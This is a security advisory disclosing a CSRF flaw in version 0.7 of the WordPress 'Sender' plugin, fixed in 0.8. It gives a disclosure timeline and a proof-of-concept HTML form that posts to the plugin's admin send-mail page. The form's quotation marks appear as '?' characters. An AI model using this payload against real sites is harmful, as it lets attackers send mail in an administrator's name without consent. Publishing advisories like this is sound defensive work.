Plugin Name : Sender A8-Cross-Site_Request_Forgery_(CSRF)
 
Effected Version : 0.7 (and most probably lower version's if any)
 
Vulnerability : A8-Cross-Site Request Forgery (CSRF)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Unauthenticated
 
PoC - (Proof of Concept) :
 
POC for Sending mail :
 
<html>
<body>
<form action=?http://localhost/wp-admin/admin.php?page=sndr_send_user? method=?POST?>
<input type=?hidden? name=?sndr_user_name[subscriber]? value=?1? />
<input type=?hidden? name=?sndr_subject? value=?test? />
<input type=?hidden? name=?sndr_content? value=?test? />
<input type=?submit? value=?Submit request? />
</form>
</body>
</html>
Impact : we can send mail to any one on behalf of the admin
 
 
Fixed in : 0.8
 
http://wordpress.org/plugins/sender/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
This plugin allows you send mails to all users or to certain categories of users via several clicks. To send letters, you can use the php functions such as sending emails, wordpress functions, or send an email through the SMTP server. Also, the plugin provides a bulk mailing for a certain period of time.